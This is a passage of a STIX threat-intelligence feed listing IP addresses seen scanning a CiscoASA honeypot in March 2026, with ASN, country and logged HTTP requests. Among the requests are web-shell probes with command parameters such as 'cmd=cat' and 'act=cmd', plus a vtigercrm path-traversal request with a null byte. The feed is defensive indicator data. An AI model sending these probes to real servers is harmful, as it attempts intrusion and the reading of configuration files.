          "month": "2026-03",
          "attack_count": 8,
          "first_seen": "2026-03-08T21:02:43.150Z",
          "last_seen": "2026-03-08T21:02:52.672Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396507,
          "as_org": "Emerald Onion",
          "event_types": [
            "\"GET /STC_VoIP_PIN/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /temp/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /templates_c/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /tests/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /themes/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /user/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /var/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /bin/config.all.php?x HTTP/1.1\" 404 - geo: US; ASN 11721 (StylenTech LLC)",
      "id": "indicator--09b7133e-918c-48b3-a50a-b11c97f695c5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '23.151.8.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 5,
          "first_seen": "2026-03-08T21:01:20.595Z",
          "last_seen": "2026-03-08T21:01:28.337Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11721,
          "as_org": "StylenTech LLC",
          "event_types": [
            "\"GET /bin/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /cisco/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /classes/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /components/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /panel/main.php.2?4\u00d8\u00b6 HTTP/1.1\" 404 - geo: PL; ASN 51290 (Hosteam S.c. Tomasz Groszewski Bartosz Waszak Lukasz Groszewski)",
      "id": "indicator--7bd658d1-ad42-446c-8814-c04721dd5014",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '31.133.0.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-08T20:54:36.544Z",
          "last_seen": "2026-03-08T20:54:38.931Z",
          "country": "Poland",
          "country_code": "PL",
          "asn": 51290,
          "as_org": "Hosteam S.c. Tomasz Groszewski Bartosz Waszak Lukasz Groszewski",
          "event_types": [
            "\"GET /panel/main.php.2?4\u00d8\u00b6 HTTP/1.1\" 404 -",
            "\"GET /panel/webadmin.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/SecureShell.php?123 HTTP/1.1\" 404 - geo: FR; ASN 51167 (Contabo GmbH)",
      "id": "indicator--2a309144-15f3-4eb1-be0b-f393d7029dfd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '31.220.75.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-08T20:56:23.413Z",
          "last_seen": "2026-03-08T20:56:28.547Z",
          "country": "France",
          "country_code": "FR",
          "asn": 51167,
          "as_org": "Contabo GmbH",
          "event_types": [
            "\"GET /recordings/SecureShell.php?123 HTTP/1.1\" 404 -",
            "\"GET /recordings/scan.php?123 HTTP/1.1\" 404 -",
            "\"GET /recordings/too.php?123 HTTP/1.1\" 404 -",
            "\"GET /recordings/webadmin.php?123 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: CH; ASN 211507 (Julian Achter)",
      "id": "indicator--68d644e3-d93f-4e36-bca2-176a81010829",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.141.119.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 9,
          "first_seen": "2026-03-08T20:49:14.908Z",
          "last_seen": "2026-03-08T21:01:49.515Z",
          "country": "Switzerland",
          "country_code": "CH",
          "asn": 211507,
          "as_org": "Julian Achter",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /admin/modules/backup/page.backup.php HTTP/1.1\" 404 -",
            "\"GET /help/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /images/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /include/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /js/config.all.php?x HTTP/1.1\" 404 -",
            "\"POST /vtigercrm/phprint.php HTTP/1.1\" 200 -",
            "\"POST /vtigercrm/phprint.php?action=fa&module=ff&lang_crm=../../cache/import/IMPORT_%00 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /include/config.all.php? HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--d399dcc8-8738-42b1-8277-160a6895342f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 5,
          "first_seen": "2026-03-08T20:59:08.023Z",
          "last_seen": "2026-03-08T20:59:15.640Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /include/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /js/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /k12/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /lang/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /libs/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /Z3R0-C00L.php? HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--40317f30-ef03-4ac7-aa37-3088379794f6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 12,
          "first_seen": "2026-03-08T20:50:15.821Z",
          "last_seen": "2026-03-08T20:52:29.066Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /Z3R0-C00L.php? HTTP/1.1\" 404 -",
            "\"GET /Z3R0-C00l.php.call?cmd=cat+*.call HTTP/1.1\" 404 -",
            "\"GET /_asterisk/253582e2ec168f76c0d4755668192ea4fdad110fe4dee9.php?mada=cat+253582e2ec168f76c0d4755668192ea4fdad110fe4dee9.php& HTTP/1.1\" 404 -",
            "\"GET /_asterisk/MeSSi.php?casd HTTP/1.1\" 404 -",
            "\"GET /_asterisk/sos.php?asdw HTTP/1.1\" 404 -",
            "\"GET /admin/assets/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 -",
            "\"GET /admin/modules/admindashboard/phpsysinfo/ass.php? HTTP/1.1\" 404 -",
            "\"GET /admin/modules/phpinf/page.phpinf.php?komand=cat+page.phpinf.php&1 HTTP/1.1\" 404 -",
            "\"GET /admin/modules/vmblast/ajax.php HTTP/1.1\" 404 -",
            "\"GET /assets/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /?pal=cat+index.php& HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--7b45c904-6ddc-4ed5-880f-2c2846ce8027",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 5,
          "first_seen": "2026-03-08T20:50:52.566Z",
          "last_seen": "2026-03-08T20:50:59.482Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /?pal=cat+index.php& HTTP/1.1\" 404 -",
            "\"GET /admin/config.php?pal=cat+config.php& HTTP/1.1\" 404 -",
            "\"GET /admin/modules/cxpanel/index.php?pal=cat+index.php& HTTP/1.1\" 404 -",
            "\"GET /admin/modules/ucp/htdocs/index.php?pal=cat+index.php& HTTP/1.1\" 404 -",
            "\"GET /recordings/?pal=cat+index.php& HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api.php? HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--bab610e9-6cfe-4c83-8a09-9aa336e6d882",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 15,
          "first_seen": "2026-03-08T20:53:04.587Z",
          "last_seen": "2026-03-08T20:57:31.902Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /api.php? HTTP/1.1\" 404 -",
            "\"GET /graph.php?module=upload&1133 HTTP/1.1\" 404 -",
            "\"GET /main.php?15t HTTP/1.1\" 404 -",
            "\"GET /main.php?24e HTTP/1.1\" 404 -",
            "\"GET /main.php?hf5 HTTP/1.1\" 404 -",
            "\"GET /main.php?xqw HTTP/1.1\" 404 -",
            "\"GET /z.php?pass=angel HTTP/1.1\" 404 -",
            "\"GET /zz.php.call HTTP/1.1\" 404 -",
            "\"POST /api.php??act=cmd HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/config.all.php?x HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--4de8bbff-f984-4d9e-b242-341fedb6523f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 10,
          "first_seen": "2026-03-08T21:00:33.274Z",
          "last_seen": "2026-03-08T21:01:10.185Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /_asterisk/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /a2billing/common/images/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /a2billing/common/javascript/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /admin/.1767de7680e3992aa99b451b57af68c6.php?X HTTP/1.1\" 404 -",
            "\"GET /admin/i18n/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /admin/images/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /admin/libraries/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /admin/modules/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /admin/modules/cxpanel/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings/.1767de7680e3992aa99b451b57af68c6.php?X HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/theme/config.all.php?x HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--36514f23-5670-4d3a-abe8-3a787f54e6cf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 8,
          "first_seen": "2026-03-08T21:00:05.634Z",
          "last_seen": "2026-03-08T21:02:34.454Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /recordings/theme/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /templates_c/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /tests/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /themes/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /user/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /var/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /web-meetme/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /STC_VoIP_PIN/config.all.php? HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--301e86a3-f632-494a-8ceb-fd44118b5710",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 7,
          "first_seen": "2026-03-08T20:59:52.423Z",
          "last_seen": "2026-03-08T21:00:04.261Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /STC_VoIP_PIN/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/modules/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/theme/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /restapi/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /restapps/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /temp/config.all.php? HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /nwebmail/config.all.php? HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--1a1d90a5-761a-4189-8776-9d371e4a6b00",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 7,
          "first_seen": "2026-03-08T20:48:24.907Z",
          "last_seen": "2026-03-08T20:59:34.212Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /nwebmail/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /panel/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /panel/dhtml/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /panel/flash/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /panel/init/config.all.php? HTTP/1.1\" 404 -",
            "\"POST /admin/ajax.php HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /panel/flash/config.all.php?x HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--d8c432d5-538c-4589-aedf-2fa075336075",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 5,
          "first_seen": "2026-03-08T21:02:13.395Z",
          "last_seen": "2026-03-08T21:02:21.267Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /panel/flash/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /panel/init/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /panel/ming-source/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings.old/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /a2billing/common/lib/jpgraph_lib/config.all.php?x HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--6fea38f2-48e1-4765-a27a-2d87e887fd9e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-08T20:54:43.243Z",
          "last_seen": "2026-03-08T21:00:50.501Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /a2billing/common/lib/jpgraph_lib/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /a2billing/common/lib/pqp/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /a2billing/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /aastra/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /phpversions.php?module=upload&11 HTTP/1.1\" 404 -",
            "\"GET /recordings/11.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /0x4148.php.call HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--5c983f85-df06-4a96-8761-4b37cd13e45e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 21,
          "first_seen": "2026-03-08T20:49:52.445Z",
          "last_seen": "2026-03-08T20:58:12.077Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /0x4148.php.call HTTP/1.1\" 404 -",
            "\"GET /Ti-CA.php HTTP/1.1\" 404 -",
            "\"GET /_asterisk/Ultimatex.php?ed3b0941a97e7f9=admin&asd HTTP/1.1\" 404 -",
            "\"GET /_asterisk/index.php?x HTTP/1.1\" 404 -",
            "\"GET /a2billing/common/images/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /a2billing/common/javascript/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /a2billing/common/lib/jpgraph_lib/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /a2billing/common/lib/pqp/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /a2billing/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/bootstrap.inc.php?mgp=danc3Uf%40t HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/ HTTP/1.1\" 404 - geo: SE; ASN 214503 (QuxLabs AB)",
      "id": "indicator--cb92cea1-060d-482e-88e1-952af433cf82",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 14,
          "first_seen": "2026-03-08T20:49:36.303Z",
          "last_seen": "2026-03-08T21:02:32.854Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 214503,
          "as_org": "QuxLabs AB",
          "event_types": [
            "\"GET /_asterisk/ HTTP/1.1\" 404 -",
            "\"GET /recordings/includes/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings/locale/bg_BG/LC_MESSAGES/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings/locale/bg_BG/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings/locale/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings/misc/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /recordings/mo/config.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/modules/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /system.php?xxw1 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/11.php?1 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/tika.php?ery HTTP/1.1\" 404 - geo: NL; ASN 49447 (Nice IT Services Group Inc.)",
      "id": "indicator--3593831c-c840-46d2-ace9-8e1015d440e2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
